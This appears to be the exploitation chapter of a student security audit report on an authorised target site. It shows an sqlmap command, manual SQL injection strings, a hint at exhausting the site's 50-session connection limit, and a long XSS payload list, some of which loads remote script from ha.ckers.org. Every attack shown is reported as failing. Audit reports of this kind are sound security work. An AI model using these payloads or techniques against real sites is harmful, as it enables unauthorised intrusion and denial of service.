4 - Vulnerabilities exploitation

In this section, we will try to exploit a few of the vulnerabilities found in the previous chapter.

1  DDOS

           1.1  TCP
     During the performed scans, we found, using UNIscan which does a small "stress" on the website that it couldn’t bring the site down.

Note 1 : A higher stress is possible, but we had no right to try it (partners demand). 

           1.2  HTTP

     During our test drive, especially the "sqlmap", which had been tried without specifying the cookies, we discovered that the site falls easily and that due to the limited number of allowed connections to the database.

     We also found that this number is very small (and the partners told us the same thing), the number of simultaneous connections allowed was exactly 50 because the number of allowed sessions (JSESSIONID) -active at the same time- is 50.

Note 2 : If you want to know this number, a small python code sending GET requests can do the job.. 

2  Blind SQL injection

     Several applications were tested automatically (sqlmap) and manually (direct injection queries).
     These attacks are only concerned in the following link :

  http://www.target.fr/xxxx/actu?num=1133+AND+1=1    




Note 3 : sql injections can retrieve confidential data from the database, or change sensitive data in the same database.

Because of the limitations of our project rights which don’t allow us to modify the site's data, then we tried the data recovery part of the attacks.




           2.1  Automatic
     sqlmap is a tool to make a sql injection by several tests.

If the command is not controlled, at each request / test a cookie will be reserved which causes a problem since the limited number of connections to the database is 50.That's why we were forced to announce a session to the sqlmap command.
The procedure is as follows:

      telnet www.target.fr 80  
         GET http://www.target.fr/HTTP/1.1  




     This command allows us to connect directly to port 80, and after recovering GET header http where there is the JSESSIONID cookie which will be used in the sqlmap command.

     python sqlmap.py -u http://www.target.fr/xxxx/actu?num=1133  
     --dbs --random-agent --cookie=JSESSIONID=XXXXXXXXXXXXXXXX  
     --level 5 --risk 3  




We will explain the different options used in this command :

•  -u <url> : Targeted URL. 
• --dbs :  Allows the use of the different types of databases available.
• --random-agent : Uses a random agent to get the HTTP header (Mozilla, ...).
• --cookie=JSESSIONID=XXXXXXXXXXXXXXXX : to specify the used cookie (The JSESSIONID retrieved using the GET command). 
• --level 5 : The level of testing to do. 
• --risk 3 : The level of risk to take.

     This command has been used several times, changing settings (example: actu?num=1133, actu?num=1133+AND+1=1, actu?num=1133+\&+1=1,...).

    We had different results, sometimes "The parameter is not dynamic," other times "The parameter is dynamic, but it is not injectable." And the best result was that "The parameter is dynamic and injectable but not exploitable."

Note 4 : It failed to exploit this vulnerability, but it's still a flaw to be corrected because it can cause a problem.




           2.2  Manual

     Manual tests were carried out (unsuccessfully) on the same link, varying the latter part of the requested link (after ‘num = 1133’). Examples:

• ' or 1=1 or ''=' 
• ' or ''=' 
• x' or 1=1 or 'x'='y
• ...

3  Cross-site scripting

     The XSS found at Tomcat was not exploitable.

     We tried the following link :

 http://target.fr/tomcat-docs/appdev/sample/web/hello.jsp?test=<script>alert(hacker)</script>  

But also using other scripts (on the same link) :

 alert<  
 alert'';!--"<XSS>=&{()}  
 "><SCRIPT>alert(1)</SCRIPT>  
 ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode<script>alert('xss')</script>  
 //--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>  
 <SCRIPT SRC=http://ha.ckers.org/alert.js></SCRIPT>  
 <IMG SRC="javascript:alert('XSS');">  
 <IMG SRC=javascript:alert('XSS')>  
 <IMG SRC=javascrscriptipt:alert('XSS')>  
 <IMG SRC=JaVaScRiPt:alert('XSS')>  
 <IMG """><SCRIPT>alert("XSS")</SCRIPT>">  
 <IMG SRC=" &#14; javascript:alert('XSS');">  
 <SCRIPT/XSS SRC="http://ha.ckers.org/alert.js"></SCRIPT>  
 <SCRIPT/SRC="http://ha.ckers.org/alert.js"></SCRIPT>  
 <<SCRIPT>alert("XSS");//<</SCRIPT>  
 <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>  
 \";alert('XSS');//  
 </TITLE><SCRIPT>alert("XSS");</SCRIPT>  
 <TABLE><TD BACKGROUND="javascript:alert('XSS')">  
 <DIV STYLE="background-image: url(javascript:alert('XSS'))">  
 <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">  
 <DIV STYLE="width: expression(alert('XSS'));">  

---

     We were able to understand the technical audit methodology and safely practice all the skills learned in our information security courses.

     This is an excellent experience, rewarding and above all, real. Auditing in a rigorous way the security of a network infrastructure.
Technically, it was found that the target we audited has a special security, given the unusable vulnerabilities.

     For further explanation, the vulnerabilities found, are generally coming from the machines, services and applications used (for example, the version of Tomcat). This means that the code is well written and secure. Otherwise, the exploitation of these flaws would be obvious...